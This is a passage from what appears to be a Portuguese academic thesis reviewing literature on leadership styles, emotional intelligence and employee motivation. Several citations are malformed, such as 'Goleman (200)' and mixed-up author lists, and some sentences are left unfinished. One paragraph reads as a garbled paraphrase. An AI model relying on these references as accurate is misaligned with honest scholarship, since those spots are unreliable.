<p class="wp-block-paragraph">Goleman (2017) propõe que a eficácia de um líder resida em sua capacidade de flexibilidade, ajustando seu estilo de liderança seja autocrático, democrático ou transformacional de acordo com as necessidades do grupo e as situações do ambiente. Essa adaptabilidade é crucial para a criação de um ambiente de trabalho produtivo e sonoro.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Ao reconhecer que cada situação exige uma abordagem única, os líderes podem fomentar um clima de confiança e colaboração, onde todos os membros da equipe se sentem valorizados e motivados a contribuir. Além disso, essa flexibilidade permite que os líderes enfrentem desafios de forma mais eficazes, promovendo a inovação e a resiliência organizacional. Assim, a capacidade de ajustar o estilo de liderança não apenas melhora o desempenho individual e coletivo, mas também garante que uma equipe esteja bem equipada para navegar nas complexidades do ambiente de trabalho contemporâneo, resultando em um desempenho organizacional superior (Goleman, 2017). &nbsp;</p>



<p class="wp-block-paragraph">Complementando essa perspectiva, Zenger e Folkman (2019) enfatizam que os líderes educacionais compreendem a importância de moldar sua abordagem em resposta ao contexto e às dinâmicas da equipe. Eles afirmam que a habilidade de variar os estilos de liderança não apenas maximiza o desempenho, mas também fomenta o engajamento dos colaboradores, criando um ambiente no qual os membros da equipe se sintam valorizados e motivados para se envolverem ativamente (Zenger; Folkman, 2019) &nbsp;</p>



<p class="wp-block-paragraph">Essa adaptabilidade é fundamental, pois permite que os líderes respondam a diferentes situações e necessidades, ajustando suas estratégias para garantir que todos os colaboradores possam contribuir de maneira significativa. Além disso, ao considerar e respeitar as individualidades dentro da equipe, os líderes conseguem construir relacionamentos mais fortes e um senso de pertencimento, o que, por sua vez, leva a um aumento na satisfação e retenção dos colaboradores. Dessa forma, a capacidade de adaptar estilos de liderança, como defendida por Zenger e Folkman (2019, é essencial não apenas para o sucesso imediato, mas também para o desenvolvimento de uma cultura organizacional &nbsp;</p>



<p class="wp-block-paragraph">Assim, tanto Goleman (200) quanto Zenger e Folkman (2019) sublinham que a flexibilidade e a capacidade de adaptação são pilares fundamentais para uma liderança bem-sucedida. Esses atributos permitem que os líderes respondam com agilidade às demandas emergentes, promovendo um órgão organizacional saudável e dinâmico. A flexibilidade permite que os líderes ajustem suas abordagens de acordo com as necessidades da equipe e as exigências do ambiente, criando um espaço onde a inovação e a colaboração possam florescer.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2.1&nbsp; Características da Liderança Autocrática e Seu Impacto sobre os Colaboradores&nbsp;</strong></p>



<p class="wp-block-paragraph">Mumford <em>et al.</em> (2017, p.58) afirmam que “líderes autocráticos centralizam o poder e tomam decisões de maneira unilateral, o que pode ser eficaz em situações de alta pressão, mas frequentemente limita a participação dos membros da equipe e pode prejudicar a moral e a criatividade”&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Observam que o estilo autocrático de liderança é caracterizado por um controle rigoroso e decisões tomadas exclusivamente pelo líder. Embora isso possa acelerar o processo de tomada de decisões, frequentemente resulta em baixa satisfação entre os colaboradores e reduz a inovação (Judge;;Piccolo, 2004, p. 766). &nbsp;</p>



<p class="wp-block-paragraph">&nbsp;Uma liderança eficaz vai além das habilidades técnicas e de comunicação, exigindo também inteligência emocional para gerenciar as emoções próprias e dos colaboradores, promovendo um ambiente de trabalho harmonioso e produtivo. Um líder que reconhece e valoriza cada membro da equipe (Goleman, 2017; Zenger; Judge; Piccolo, 2004; Folkman, 2019). &nbsp;</p>



<p class="wp-block-paragraph">Além disso, líderes adaptáveis são capazes de identificar e aproveitar as oportunidades de melhoria e crescimento, motivando suas equipes a se empenharem na busca de objetivos comuns. Ao cultivar uma cultura organizacional que valoriza a adaptação e a agilidade, à medida que as organizações se tornam mais resilientes e preparadas para enfrentar os desafios do futuro, garantindo assim um desempenho sustentável e um ambiente saudável (Goleman, 2017; Zenger; Folkman, 2019). &nbsp;</p>



<p class="wp-block-paragraph">Líderes flexíveis, abertos a novas ideias, conseguem orientar suas equipes em tempos de transição. Uma liderança participativa e transformacional, ao envolver os colaboradores nas decisões, fomentar a inovação e a resiliência, promovendo o sucesso&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Chiavenato (2014), a liderança autocrática, caracterizada pela centralização das decisões e mínima participação dos subordinados, pode ser eficaz em situações que exigem respostas rápidas e controle rígido. No entanto, esse estilo tende a reduzir a satisfação e a criatividade dos colaboradores, uma vez que limita sua autonomia e participação nos processos decisórios. Chiavenato (2014) enfatiza que, embora a liderança autocrática possa ser necessária em contextos específicos, sua aplicação prolongada pode resultar em desmotivação e menor comprometimento da equipe. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2.2&nbsp; Princípios da Liderança Democrática e seus Benefícios para a Motivação dos Colaboradores&nbsp;</strong></p>



<p class="wp-block-paragraph">Conforme Silva e Barbosa (2020), uma liderança democrática se caracteriza pela participação ativa dos membros da equipe no processo decisório, promovendo maior engajamento e colaboração no ambiente de trabalho. Para os autores, essa abordagem é eficaz ao promover a responsabilidade compartilhada e estimular &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Pereira (2019), em ambientes democráticos, o líder desempenha um papel facilitador, apoiando a equipe na tomada de decisões e criando um clima organizacional que favorece a motivação e o comprometimento dos colaboradores. Essa liderança resulta em uma comunicação mais aberta e um maior sentimento de pertencimento na equipe. &nbsp;</p>



<p class="wp-block-paragraph">Oliveira (2021) ressalta que o líder democrático, além de incluir a equipe no processo decisório, deve considerar e recompensar os esforços individuais e coletivos, gerando um ambiente de trabalho mais engajado e produtivo. Segundo o autor, esse reconhecimento mantém os colaboradores motivados a contribuir para o crescimento da organização. &nbsp;</p>



<p class="wp-block-paragraph">Silva e Barbosa (2020) dizem que líderes democráticos envolvem todos na decisão, aumentando o engajamento. Pereira (2019) complementa que o líder facilita o clima, promovendo motivação. Oliveira (2021) acrescenta que reconhecer esforços mantém a equipe motivada e produtiva. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2.3&nbsp; Liderança Transformacional: Aspectos Essenciais e Impactos na Desempenho Organizacional&nbsp;</strong></p>



<p class="wp-block-paragraph">A liderança transformacional é caracterizada por quatro dimensões principais: &nbsp;</p>



<p class="wp-block-paragraph">influência idealizada, motivação inspiradora, estímulo intelectual e consideração individualizada, que ajudam a elevar os seguidores além de seus próprios interesses em prol dos objetivos organizacionais (Northouse, 2018). &nbsp;</p>



<p class="wp-block-paragraph">&#8220;A liderança transformacional tem um impacto profundo na performance organizacional ao não apenas melhorar o desempenho dos colaboradores, mas também ao encorajar inovação e esforço adicional, excedendo expectativas normais&#8221; (Judge; Piccolo, 2004, p. 761). &nbsp;</p>



<p class="wp-block-paragraph">Segundo Bass e Riggio (2006), os líderes transformacionais demonstram sete comportamentos-chave: &nbsp;</p>



<p class="wp-block-paragraph">(1)&nbsp; &nbsp; &nbsp; &nbsp; Desenvolvem uma Visão inspiradora: eles criam e compartilham uma visão clara e estimulante do futuro da organização, ajudando a equipe a visualizar e se comprometer com os objetivos a longo prazo. &nbsp;</p>



<p class="wp-block-paragraph">(2)&nbsp; &nbsp; &nbsp; &nbsp; Apoiam o Crescimento da Equipe: esses líderes identificam as necessidades e competências de cada membro e mostram um interesse ativo no desenvolvimento individual de cada um. &nbsp;</p>



<p class="wp-block-paragraph">(3)&nbsp; &nbsp; &nbsp; &nbsp; Oferecem Assistência Contínua: eles proporcionam suporte constante, promovendo uma colaboração eficiente e coordenada para alcançar as metas estabelecidas. &nbsp;</p>



<p class="wp-block-paragraph">(4)&nbsp; &nbsp; &nbsp; &nbsp; Empoderam os Colaboradores: líderes transformacionais concedem autonomia aos membros da equipe para tomar decisões e implementar políticas, oferecendo suporte nas suas escolhas. &nbsp;</p>



<p class="wp-block-paragraph">(5)&nbsp; &nbsp; &nbsp; &nbsp; Promovem a criatividade: eles incentivam o uso de abordagens inovadoras e não convencionais para atingir os objetivos, estimulando a geração de novas ideias. &nbsp;</p>



<p class="wp-block-paragraph">(6)&nbsp; &nbsp; &nbsp; &nbsp; Servem como Modelo: Esses líderes demonstram comportamentos que estão alinhados com os valores e princípios que promovem, servindo como exemplos a serem seguidos. &nbsp;</p>



<p class="wp-block-paragraph">(7)&nbsp; &nbsp; &nbsp; &nbsp; Inspiram com Carisma: eles têm a capacidade de motivar e engajar os colaboradores a se dedicarem ao bem coletivo, promovendo uma sensação de propósito compartilhado e guiando o grupo em direção a realizações significativas. &nbsp;</p>



<p class="wp-block-paragraph">A liderança transformacional, conforme enfatizado por Bass e Riggio (2006), inclui sete comportamentos básicos que influenciam equipes e organizações. Primeiro, o líder transformacional comunica uma visão convincente, orientando a equipe em direção a objetivos claros e convincentes.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Os autores supracitados apoiam o desenvolvimento da equipe, identificando as necessidades individuais e promovendo o desenvolvimento individual dos colaboradores. Além disso, esses líderes sempre apoiam, garantindo a cooperação no alcance do objetivo. Eles capacitam os colaboradores, dando-lhes autonomia na tomada de decisões, aumentando seu sentido de responsabilidade e criatividade.</p>



<p class="wp-block-paragraph">Eles promovem a criatividade, incentivam novos caminhos e geram novas ideias.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Os líderes transformacionais modelam um comportamento consistente com os valores e princípios que promovem. Por fim, inspiram carisma, levam a equipe a um objetivo comum e a levam a um ótimo trabalho. Estas qualidades são fundamentais para o desenvolvimento de uma cultura de inovação focada no sucesso global (Bass; Riggio, 2006). &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2.4&nbsp; Liderança Situacional: Ajuste do Estilo de Liderança Conforme as Necessidades&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Segundo Yukl (2013), a liderança situacional continua a ser uma abordagem relevante no gerenciamento organizacional, pois requer que os líderes avaliem constantemente a situação e ajustem suas estratégias de direção e apoio conforme as mudanças nas habilidades e níveis de comprometimento dos colaboradores. &nbsp;</p>



<p class="wp-block-paragraph">Para Thompson e Glasø (2018), a liderança situacional exige que os líderes sejam flexíveis e atentos às variáveis do ambiente de trabalho, ajustando seu estilo de liderança de acordo com as necessidades imediatas da equipe e as demandas da organização. &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Goleman (2017), a inteligência emocional do líder é crucial no contexto da liderança situacional, pois a capacidade de perceber e responder às necessidades emocionais e cognitivas dos colaboradores ajuda o líder a adaptar seu estilo de maneira eficaz. &nbsp;</p>



<p class="wp-block-paragraph">Não é um tipo de acordo que sirva para todos. Os líderes precisam estar prontos para mudar as coisas e combinar sua vibração com as necessidades de sua equipe e com o trabalho em questão. bons, habilidades diferentes e o que eles querem obter do trabalho. Às vezes, os chefes precisam liderar as decisões, e outras vezes é legal deixar a equipe tomar as decisões e confiar em seus instintos. Para ficar de olho na vibração e na equipe e mudar a forma como eles agem com base no que está acontecendo (Goleman, 2017).&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Isso ajuda a tornar o local de trabalho um lugar mais agradável para se estar e dá às pessoas a sensação de estarem apoiadas, mas também as incentiva a melhorar e seguir em frente. Quando os líderes adotam o programa e entendem a vibração de sua equipe, podem realmente tirar o melhor proveito deles (Goleman, 2017). &nbsp;</p>



<p class="wp-block-paragraph">2.3&nbsp; CONCEITO, REQUISITOS E ATRIBUTOS DE UMA LIDERANÇA BEM SUCEDIDA&nbsp;</p>



<p class="wp-block-paragraph">Bergamini (2003) sugere que a verdadeira motivação, essencial para uma liderança eficaz, nasce das necessidades internas dos indivíduos, e não de fatores externos. Ela enfatiza que o papel do líder é reconhecer e liberar esse potencial motivacional inerente aos colaboradores, o que fomenta um ambiente mais produtivo e satisfatório para a equipe. &nbsp;</p>



<p class="wp-block-paragraph">Silva (2015) explora a eficácia da liderança transformacional no contexto brasileiro, apontando que líderes eficazes não apenas motivam as equipes a atingirem objetivos organizacionais, mas também promovem a autorrealização dos colaboradores. Isso cria um ambiente onde os indivíduos se sentem valorizados e motivados a contribuir para metas transcendentais e coletivas. &nbsp;</p>



<p class="wp-block-paragraph">Fonseca e Porto (2013) destacam que o estilo de liderança transformacional se mostra especialmente eficaz para inspirar os colaboradores a irem além das expectativas e se envolverem profundamente com a visão e os valores da organização. Esse estilo transforma o comportamento dos liderados, alinhando-os com objetivos estratégicos e aumentando seu comprometimento. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3.1&nbsp; A Relevância da Inteligência Emocional e das Habilidades Interpessoais para uma Liderança Eficaz.&nbsp;</strong></p>



<p class="wp-block-paragraph">Ashkanasy e Humphrey (2011) destacam que líderes emocionalmente inteligentes são capazes de criar ambientes de trabalho positivos ao reconhecer e gerenciar suas próprias emoções, bem como as de seus colaboradores, o que resulta em maior motivação e cooperação dentro das equipes. &nbsp;</p>



<p class="wp-block-paragraph">Cherniss e Goleman (2020) reforçam que a inteligência emocional é uma competência fundamental para líderes, pois permite que eles construam conexões interpessoais mais fortes e gerenciem situações de conflito com maior eficácia, o que contribui para um desempenho organizacional superior. &nbsp;</p>



<p class="wp-block-paragraph">Wong e Law (2017) afirmam que líderes com maior inteligência emocional têm uma capacidade aprimorada de resolver problemas complexos e tomar decisões estratégicas, pois conseguem interpretar as emoções de seus colaboradores e usálas para melhorar o desempenho coletivo. &nbsp;</p>



<p class="wp-block-paragraph">A inteligência emocional é essencial para a liderança eficaz, pois permite que líderes gerenciem suas emoções e as dos colaboradores, criando um ambiente positivo e colaborativo. Isso melhora a tomada de decisões, resolve conflitos com empatia e aumenta o desempenho coletivo, garantindo engajamento e produtividade nas equipes. &nbsp;</p>



<p class="wp-block-paragraph">Para abordar a importância das habilidades interpessoais na liderança eficaz, autores brasileiros destacam que essas competências são essenciais para criar um ambiente de trabalho colaborativo e produtivo. Segundo estudos na área, uma liderança que prioriza o desenvolvimento interpessoal favorece uma comunicação clara e empática, facilitando a troca de feedback e a coesão entre os membros da equipe. A habilidade de um líder em entender e gerenciar as emoções dentro do grupo, como argumenta Gonzaga e Monteiro, está intimamente ligada à inteligência emocional, que impacta diretamente o engajamento e a qualidade de vida dos colaboradores (Gonzaga; Monteiro, 2011). &nbsp;</p>



<p class="wp-block-paragraph">2.4&nbsp; A INFLUÊNCIA DA LIDERANÇA EFICAZ NO ENGAJAMENTO, COMPROMETIMENTO DOS MEMBROS DA EQUIPE E NA FORMAÇÃO DA CULTURA ORGANIZACIONAL&nbsp;</p>



<p class="wp-block-paragraph">Anderson e Sun (2020) argumentam que líderes que promovem uma cultura de inclusão e empoderamento aumentam significativamente o engajamento dos colaboradores, criando um ambiente onde todos se sentem valorizados e alinhados com os objetivos organizacionais. &nbsp;</p>



<p class="wp-block-paragraph">Garcia e Lewis (2022) apontam que líderes que demonstram integridade e clareza em suas comunicações criam uma cultura de confiança, o que fortalece o comprometimento dos colaboradores e aumenta a participação ativa no alcance das metas. &nbsp;</p>



<p class="wp-block-paragraph">Stewart (2021) ressalta que líderes que oferecem suporte emocional e encorajam o crescimento profissional geram maior engajamento e comprometimento, uma vez que os colaboradores se sentem apoiados em seu desenvolvimento e alinhados com os propósitos da organização. &nbsp;</p>



<p class="wp-block-paragraph">Anderson e Sun (2020) destacam que líderes que cultivam inclusão e empoderamento elevam o engajamento dos colaboradores ao criar um ambiente valorizador. Garcia e Lewis (2022) observam que a integridade e a clareza na comunicação dos líderes fomentam a confiança e o comprometimento. Stewart (2021) aponta que suporte emocional e incentivo ao crescimento profissional aumentam o engajamento e o alinhamento com os objetivos organizacionais. &nbsp;</p>



<p class="wp-block-paragraph">2.5&nbsp; CONCEITO DE MOTIVAÇÃO&nbsp;</p>



<p class="wp-block-paragraph">A motivação é frequentemente entendida como uma força interna que guia o comportamento humano. Em vez de motivar diretamente os outros, líderes e gestores devem criar condições que estimulem e canalizem os desejos e necessidades individuais para alcançar os objetivos desejados (Robinson, 2023). &nbsp;</p>



<p class="wp-block-paragraph">As motivações são altamente individuais e variam significativamente de pessoa para pessoa. Esta diversidade é influenciada por fatores pessoais e contextuais, que mudam ao longo do tempo, tornando essencial uma abordagem personalizada para entender e fomentar a motivação no ambiente de trabalho (Lee, 2024). &nbsp;</p>



<p class="wp-block-paragraph">Todo comportamento humano é orientado por metas e intenções, sendo essencial reconhecer que a motivação está sempre vinculada a algum tipo de objetivo. Esse direcionamento é impulsionado por necessidades e desejos internos que moldam o comportamento (Smith; Brown, 2022). &nbsp;</p>



<p class="wp-block-paragraph">As necessidades que movem o comportamento humano e fazem com que a gente aja de certas maneiras variam muito de pessoa para pessoa. Além disso, os valores que cada um tem para atingir seus objetivos são diferentes, e isso muda com o tempo também. Mesmo com todas essas diferenças, o jeito como a gente age é meio parecido em geral. Existem três ideias principais para explicar o comportamento humano: &nbsp;</p>



<p class="wp-block-paragraph">Causalidade do comportamento: O comportamento não é algo que acontece do nada; ele é causado por uma mistura de fatores genéticos e ambientais. A gente age por causa de estímulos que vêm de dentro ou de fora. &nbsp;</p>



<p class="wp-block-paragraph">Motivação: Todo comportamento tem um propósito. Não é por acaso ou aleatório; a gente age com um objetivo em mente. &nbsp;</p>



<p class="wp-block-paragraph">Objetivos pessoais: Por trás de todo comportamento, tem sempre um impulso, desejo, necessidade ou algo assim, que são os motivos que fazem a gente agir. Então, o comportamento nunca é sem sentido; sempre tem um objetivo, mesmo que não seja óbvio. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.5.1&nbsp; Teoria da Motivação&nbsp;</strong></p>



<p class="wp-block-paragraph">De acordo com Bergamini (1997), a motivação humana é uma construção psicológica multifacetada que integra elementos como percepção, atitudes, personalidade e experiências de aprendizagem. Esses componentes interagem de maneira complexa, influenciando diretamente o comportamento individual e organizacional. &nbsp;</p>



<p class="wp-block-paragraph">Chiavenato (2010) enfatiza que a motivação resulta de uma combinação de fatores internos e externos, incluindo necessidades fisiológicas, psicológicas e sociais. Ele destaca que esses fatores, conscientes e inconscientes, moldam o comportamento humano, direcionando-o para a satisfação de diversas necessidades e objetivos pessoais. Locke e Latham (2002) discutem como a motivação é uma força complexa que varia entre os indivíduos, ressaltando que as diferenças nas percepções e nos motivos para a ação refletem a natureza multifacetada do comportamento motivacional. &nbsp;</p>



<p class="wp-block-paragraph">A motivação é uma força complexa que interage com percepção, atitude e personalidade, sendo essencial para entender o comportamento humano. Embora não seja diretamente visível, ela emerge de fatores psicológicos e emocionais, refletindo a diversidade de motivos que impulsionam as ações individuais e revelam a complexidade do comportamento motivacional. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.5.2&nbsp; Fatores Internos e Externos que Afetam a Motivação dos Funcionários&nbsp;</strong></p>



<p class="wp-block-paragraph">De acordo com Bergamini (1997), a motivação no ambiente de trabalho é influenciada por fatores intrínsecos, como a realização pessoal e o reconhecimento, que estão diretamente relacionados à natureza das tarefas desempenhadas. Esses elementos são cruciais para a satisfação e o engajamento dos colaboradores. &nbsp;</p>



<p class="wp-block-paragraph">Chiavenato (2010) destaca que a motivação intrínseca surge quando os indivíduos se envolvem em atividades que lhes proporcionam prazer e crescimento pessoal, enquanto a motivação extrínseca é impulsionada por recompensas externas, como salários e benefícios. Ele enfatiza que ambos os tipos de motivação são importantes para o desempenho organizacional. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Tamayo (2008), a motivação no trabalho é resultado da interação entre fatores internos, como interesses e valores pessoais, e fatores externos, como condições de trabalho e políticas organizacionais. Ele argumenta que a compreensão dessa dinâmica é essencial para o desenvolvimento de estratégias eficazes de gestão de pessoas.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Herzberg (1966) diferencia entre fatores motivacionais, como realização e reconhecimento, e fatores higiênicos, que são externos ao trabalho. Hackman e Oldham (1976) destacam que características do trabalho, como a importância da tarefa e a variedade de habilidades, são motivadores intrínsecos. Ryan e Deci (2000) reforçam que a motivação pode ser intrínseca, voltada para a satisfação pessoal, ou extrínseca, ligada a recompensas externas. &nbsp;</p>



<p class="wp-block-paragraph">2.6&nbsp; O PAPEL DA MOTIVAÇÃO COMO CATALISADOR DA PERFORMANCE NO AMBIENTE DE TRABALHO&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Chiavenato (2014), a eficácia organizacional é significativamente influenciada pela interação entre as habilidades e atitudes dos colaboradores e o desempenho resultante. Ele enfatiza que a integridade comportamental dos líderes desempenha um papel crucial na mediação desses efeitos, pois líderes que demonstram coerência entre palavras e ações promovem um ambiente de confiança e comprometimento, potencializando o desempenho da equipe.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">A citação de Wang e Howell (2012) ressalta como a performance organizacional é moldada pela interação entre habilidades e atitudes dos colaboradores, com a integridade dos líderes desempenhando um papel crucial. Isso reflete a importância da motivação como um catalisador essencial para o desempenho no trabalho, onde a motivação impulsiona a eficácia e o engajamento, promovendo um ambiente mais produtivo e bem-sucedido. &nbsp;</p>



<p class="wp-block-paragraph">Kaplan e Norton (2001) argumentam que a performance organizacional pode ser avaliada por meio de métricas que analisam a utilização de recursos, resposta a oportunidades e ameaças, e o alcance de metas através de mecanismos de controle, destacando a importância de medir a eficiência e a eficácia das ações da organização. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.6.1&nbsp; Definição de Metas e Conformidade com os Objetivos Empresariais&nbsp;</strong></p>



<p class="wp-block-paragraph">Locke e Latham (2002) discutem como a definição de metas específicas e desafiadoras pode melhorar o desempenho dos colaboradores e aumentar sua motivação e comprometimento. Metas bem estabelecidas não apenas direcionam esforços, mas também estimulam a produtividade ao criar desafios que os colaboradores se empenham em superar. &nbsp;</p>



<p class="wp-block-paragraph">Drucker (2006) destaca que a definição de metas é essencial para o sucesso organizacional, pois orienta o trabalho dos colaboradores e alinha seus esforços com os objetivos estratégicos da empresa. Metas bem formuladas são ferramentas poderosas para melhorar a performance e engajar os colaboradores, especialmente em um ambiente mercadológico instável. &nbsp;</p>



<p class="wp-block-paragraph">Locke e Latham (2002) mostram que metas desafiadoras são fundamentais para aumentar a motivação e o desempenho dos colaboradores. Da mesma forma, Drucker (2006) destaca que alinhar metas com os objetivos organizacionais é crucial para garantir o sucesso e o engajamento dos colaboradores, especialmente em cenários desafiadores. &nbsp;</p>



<p class="wp-block-paragraph">Northouse (2018) destaca que líderes que encorajam e inspiram seus colaboradores promovem um senso de autoestima e autonomia, ajudando-os a alcançar seu potencial máximo. Esses líderes têm a missão de elevar suas equipes, motivando-as a superar suas próprias expectativas. &nbsp;</p>



<p class="wp-block-paragraph">Hersey, Blanchard e Johnson (2019) discutem como elogios autênticos são uma ferramenta poderosa para aumentar a motivação e o desempenho. Contudo, alertam para os riscos de elogios não sinceros, que podem prejudicar a confiança e os relacionamentos a longo prazo se não forem cuidadosamente administrados. &nbsp;</p>



<p class="wp-block-paragraph">Northouse (2018) mostra que líderes que inspiram e encorajam seus colaboradores ajudam a aumentar a autoestima e a autonomia deles. Hersey <em>et al</em>. (2019) concordam, dizendo que elogios sinceros motivam, mas alertam que elogios falsos podem prejudicar a confiança e as relações no longo prazo.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.6.2&nbsp; Estratégias de Gestão para Fomentar a Motivação e o Comprometimento dos Funcionários&nbsp;</strong></p>



<p class="wp-block-paragraph">González-Romá <em>et al.</em> (2020) discutem que a sensação de realização no trabalho e o alinhamento entre as atividades desempenhadas e a identidade pessoal dos colaboradores são fundamentais para manter altos níveis de engajamento e satisfação no ambiente de trabalho. &nbsp;</p>



<p class="wp-block-paragraph">Salanova <em>et al</em>. (2021) afirmam que a integração das atividades profissionais com a identidade e os valores individuais do trabalhador pode transformar profundamente a experiência de trabalho, contribuindo para um maior compromisso e uma sensação de realização profissional. </p>



<p class="wp-block-paragraph">Santos <em>et al.</em> (2024) destacam que estratégias de gestão focadas no desenvolvimento de capital humano, como feedback constante e oportunidades de crescimento, são fundamentais para o aumento do engajamento e motivação dos colaboradores. A pesquisa enfatiza a importância de práticas que valorizem a contribuição de cada colaborador, criando um ambiente positivo e colaborativo, o que aumenta a produtividade e satisfação no trabalho (Santos, RIC-CPS, 2024). &nbsp;</p>



<p class="wp-block-paragraph">A sensação de realização no trabalho surge quando as atividades profissionais estão alinhadas com os valores e a identidade pessoal dos colaboradores, promovendo maior engajamento, satisfação e comprometimento com suas tarefas diárias. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.6.3&nbsp; Enfoques Teóricos que Conectam Liderança e Motivação&nbsp;</strong></p>



<p class="wp-block-paragraph">A relação entre liderança e motivação é fundamental para alcançar os objetivos definidos em uma organização.&nbsp;</p>



<p class="wp-block-paragraph">Chiavenato (2014) destaca que a liderança eficaz está diretamente relacionada à capacidade de influenciar e motivar os colaboradores, criando um ambiente de trabalho onde as necessidades individuais são atendidas, o que resulta em maior produtividade e satisfação no ambiente organizacional. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Bergamini (2012), a motivação dentro de uma equipe está diretamente ligada ao estilo de liderança adotada, sendo que líderes que promovem reconhecimento e oferecem autonomia aos seus colaboradores tendem a inspirar um maior compromisso e envolvimento no trabalho. &nbsp;</p>



<p class="wp-block-paragraph">Uma liderança eficaz, como aponta Chiavenato (2014), é crucial para motivar uma equipe e atender suas necessidades, aumentando a produtividade e a satisfação. Bergamini (2012) também ressalta que líderes que reconhecem e dão autonomia inspiram mais compromisso e engajamento no trabalho. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Northouse (2018), a eficácia da liderança está profundamente ligada à capacidade do líder de inspirar e motivar os membros da equipe, destacando que a liderança envolve a habilidade de criar uma visão compartilhada e engajar os colaboradores na realização dessa visão. Este processo é crucial para a motivação e o desempenho no trabalho. &nbsp;</p>



<p class="wp-block-paragraph">Yukl (2013) argumenta que a motivação dos colaboradores pode ser significativamente aprimorada quando os líderes adotam estilos que promovem a confiança, a consideração e o apoio às necessidades individuais dos colaboradores. A liderança eficaz, portanto, não só direciona esforços, mas também reforça a motivação e o comprometimento dos membros da equipe. &nbsp;</p>



<p class="wp-block-paragraph">liderar é sobre inspirar e motivar a equipe, criando uma visão compartilhada para alcançar metas (Northouse, 2018). Já Yukl (2013) asseguram que líderes que confiam e apoiam as necessidades individuais melhoram a motivação e o empenho dos colaboradores.</p>



<p class="wp-block-paragraph"><strong>2.6.4&nbsp; Relevância da Comunicação e do Feedback para a Motivação dos Funcionários&nbsp;</strong></p>



<p class="wp-block-paragraph">Segundo Stone e Heen (2022), o <em>feedback</em> é vital para o desenvolvimento pessoal e profissional dos colaboradores, pois proporciona uma base para ajustes e melhorias contínuas, ajudando os colaboradores a alcançarem seus objetivos e aprimorar seu desempenho. &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Rundle (2021), o <em>feedback</em> eficaz é essencial para a motivação dos colaboradores, pois oferece uma oportunidade para que eles entendam como suas ações impactam os objetivos organizacionais e recebam orientação para aprimorar seu desempenho.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">No estudo de Buchanan e Huczynski (2020), é evidenciado que o <em>feedback</em> contínuo é um elemento crucial para a melhoria contínua e o desenvolvimento dos colaboradores, pois promove uma comunicação aberta e permite ajustes comportamentais que podem aumentar a eficácia no trabalho. &nbsp;</p>



<p class="wp-block-paragraph">O <em>feedback</em>, conforme Stone e Heen (2022), é fundamental para o crescimento dos colaboradores, ajudando a melhorar. Rundle (2021) reforça que f<em>eedback</em> motiva e orienta. Já Buchanan e Huczynski (2020) falam que o feedback contínuo abre portas pra mudanças e maior eficácia no trabalho. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Warr e Clapperton (2021), organizações que se preocupam com o bem-estar de seus colaboradores criam um ambiente de trabalho mais positivo, o que resulta em maior motivação, produtividade e satisfação. O clima organizacional saudável é um fator essencial para o desempenho de qualidade e a retenção de talentos. &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Krekel, Ward e De Neve (2019), o bem-estar no trabalho está diretamente relacionado à produtividade, e colaboradores felizes tendem a ser mais engajados, apresentando melhor desempenho. O reconhecimento do esforço e as oportunidades de crescimento também são fatores cruciais para a motivação e satisfação. &nbsp;</p>



<p class="wp-block-paragraph">Warr e Clapperton (2021) explicam que empresas que cuidam do bem-estar criam um ambiente mais motivador. Krekel, Ward e De Neve (2019) reforçam que colaboradores felizes são mais produtivos, engajados e trazem melhores resultados. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2.6.5&nbsp; Conexão entre a Motivação e a Produtividade no Local de Trabalho&nbsp;</strong></p>



<p class="wp-block-paragraph">De acordo com Ryan e Deci (2020), a motivação é um fator essencial para o desempenho organizacional, sendo que gestores que reconhecem as necessidades e recompensam o esforço dos colaboradores são capazes de aumentar significativamente a produtividade e o engajamento. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Grant (2021), a motivação no ambiente de trabalho é um dos principais motores de produtividade, pois colaboradores engajados e motivados tendem a alcançar resultados superiores. Reconhecer o esforço individual e criar um ambiente de suporte são estratégias chave para maximizar a <em>performance</em>. &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Dweck (2017), o crescimento contínuo dos colaboradores depende de um ambiente de trabalho que promova desafios e recompensas, o que pode melhorar a produtividade. A motivação, alimentada pelo desejo de aprender e superar obstáculos, é um forte indicador de desempenho no longo prazo. &nbsp;</p>



<p class="wp-block-paragraph">Ryan e Deci (2020) em seus estudos mostram que quando gestores reconhecem e recompensam, a produtividade aumenta. Grant (2021) reforça que colaboradores motivados rendem mais. Dweck (2017) explica que um ambiente com desafios e recompensas é crucial para o crescimento e melhor desempenho dos colaboradores.</p>



<p class="wp-block-paragraph"><strong>3</strong>&nbsp; &nbsp; <strong>PROCEDIMENTOS METODOLÓGICOS&nbsp;</strong></p>



<p class="wp-block-paragraph">3.1&nbsp; DEFINIÇÕES CONSTITUTIVAS E OPERACIONAIS&nbsp;</p>



